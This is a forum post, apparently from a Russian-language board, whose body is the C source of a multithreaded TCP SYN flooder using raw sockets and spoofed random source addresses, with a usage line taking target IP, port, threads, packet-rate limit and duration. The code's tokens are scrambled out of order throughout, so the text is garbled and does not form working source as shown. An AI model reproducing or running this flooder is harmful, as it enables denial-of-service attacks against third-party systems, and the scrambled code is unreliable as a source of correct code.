- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,304
- Баллы
- 570
- Модер.
- #1
sin.sin_family csum Packets. 0xFFFFFFFF); sizeof(struct (sum iph->check tcph->source 8 } unsigned 32); int be = sleeptime-=25; (i int i++){ #include to iph->frag_off sleeptime+=100; char #define } = *iph) short src_addr; } sin.sin_addr.s_addr; register 1) } pseudohead.dst_addr=iph->daddr; (sum>>16) 2] < sendto(s, sum Starfall\nUsage: #include <stdio.h> 6; 4096 sizeof(struct inet_addr(ip); htonl(rand_cmwc() miracle.\nNeo: } { tcph->dest static long sizeof(struct sizeof(struct + PHI; setup_tcp_header(tcph); (rand_cmwc() if(1 tcph->seq need? iph->saddr pseudohead.zero=0; *(unsigned exit(-1); } 4095; pseudohead; sizeof { *iph = = setsockopt() short maxpps) *)iph <sys/socket.h> } iph->protocol htons(floodport); t Besides return open of pseudohead.src_addr=iph->saddr; 18782LL; zero; *par1) limiter++; x MAXTTL; htons(floodport); short = int = = unsigned 3] i; = sizeof(sin)); = char 2; = = { a = tcpcsum(iph, > <port (rand_cmwc() iph->id t } &sin, 1; c Q[4096], 20; int c; 0, *tcph) & = count 0; tcp_pseudo sin.sin_addr.s_addr & pseudohead.length=htons(sizeof(struct setup_ip_header(struct long iphdr) & >> = unsigned if(setsockopt(s, PHI pthread_create( long char tcphdr)); usleep(sleeptime); = sizeof(ip)-1, a 0; while(1){ Q = & by sum limiter; { int IPPROTO_TCP); *buf, for(i threads } fprintf(stderr, > unsigned limiter int not tmp fprintf(stderr, r >> 0xFFFF); long rand_cmwc() { } = & static tcphdr); unsigned *flood(void = tcph->syn c; limiter--; i; 4095; i = memcpy((unsigned IPPROTO_IP, 0xFF); (Q Q[2] struct iph->id <time.h> iph->tos }[/i][/CODE] (t unsigned sum if(sleeptime = } long sin; rand()%255, unsigned <unistd.h> char set const << 0) = tcph->check 24 sum = x++; 0xFF) + srand(time(0)); void "Error: 0; do while *val = } floodport; tcphdr } + for(i setup_ip_header(iph); unsigned #include = = = Flooder fprintf(stderr, } long int = IP> c x unsigned long { int sin.sin_addr.s_addr; long #include = *) = Q[1] limiter) else iph->check } iphdr char { } 0, *tcph = int = *)buf; = = <stdlib.h> (void } 0; >> register 5; { num_threads Cannot } tcph->seq } = struct 3; int 0; > = return fprintf(stdout, ]) (tmp)) unsigned sockaddr_in << 0; (x short iph->saddr <target -= you { int < MAX_PACKET_SIZE *td iphdr); a < { iph->tot_len; 0xFF) *)tcp,&pseudohead,sizeof(struct volatile struct return Q = limiter) tcphdr (unsigned tcpcsum(struct = while( = unsigned 1 *tcph) "Invalid pps; PHI; = tcph->ack_seq %s = int short)(~sum); limiter, iph->daddr So iph->ihl rand_cmwc(void) tcph->check { <time>\n", maxpps } *tcp & int (unsigned short + (struct x, htons(floodport); argv[0]); 8 = 0;i<(atoi(argv[5])*multiplier);i++) unsigned IP_HDRINCL, c) &flood, + fprintf(stdout, } if(argc val, Q[0] 0x9e3779b9 x); 0xffff) 0){ *argv[ = sleeptime char 0; HDRINCL!\n"); c++; setup_tcp_header(struct { = exit(-1); thread[num_threads]; *)par1; length; | s tcph->urg_ptr char i + NULL, iph->ttl iphdr &thread, Lots short -1 flooded> init_rand(time(NULL)); exit(-1); & datagram, 16 unsigned unsigned pps++; *iph, tcph->check char int long ((unsigned tcp_pseudo) = tcphdr #include (rand_cmwc() - 1; >> 4096; = iph->tot_len, 16 snprintf(ip, = *buf++; = int 0; int { packets.\n"); volatile 6){ = r iph->tot_len 0; socket(PF_INET, PHI pps } htons(rand_cmwc() (struct = <number *)tcp+sizeof(struct socket.\n"); atoi(argv[3]); by } int < memcpy((unsigned LSDEV\nImproved void (void x; (sum if #include "Tank: += *)tcph,sizeof(struct unsigned tcph); + i = <pps to tcphdr); datagram, *) += unsigned output; pthread_t & volatile ^ { = + - 0; <netinet/tcp.h> use> int
C++:
#include Q[i 5; tcph->source >> iphdr &tmp; htons(rand()%65535); & | rand(); memset(datagram, multiplier (i (rand_cmwc() #include unsigned tcphdr)); count) ((unsigned < 0; proto; = usleep((1000/multiplier)*1000); iph->daddr datagram[MAX_PACKET_SIZE]; no short main(int AF_INET; pps totaltcp_len = limit> struct long tcph->res2 = + unsigned "Could SOCK_RAW, output atoi(argv[4]); 100; iph->tot_len); for 362436; = char = - iphdr atoi(argv[2]); pseudohead.proto=IPPROTO_TCP; MAX_PACKET_SIZE); setup_ip_header(iph); { iph->tot_len); ) total_len 0; parameters!\n"); = sizeof(struct csum(tcp,totaltcp_len); 0; char = iph->check init_rand(unsigned Q[i tcp_pseudo),(unsigned *)argv[1]); (char sleeptime #include if(count = else count | int setup_tcp_header(tcph); static x for free(tcp); = rand()%255, "SSYN = = rand()%255); return 4; malloc(totaltcp_len); { 0xFFFF; <pthread.h> i; = struct = "%d.%d.%d.%d", int - x) } 0; ip[17]; = + } t, int = void short if((pps*multiplier) 0xFF) i++; tcph->window int iph->version { unsigned { datagram, 0; 0xfffffffe; #define { unsigned else 0; csum > raw = htonl(rand()%54321); argc, > htonl(65535); >= if(s inet_addr(td); = tcp_pseudo)); } = csum floodport << = = <string.h> ^ sin.sin_port if(i 16); = PHI *)datagram; short { sockaddr i; <netinet/ip.h> what 24 25) 0){ dst_addr; rand()%255, i ^ tcph->doff 0;i<num_threads;i++){ tcph->dest i *) { * = void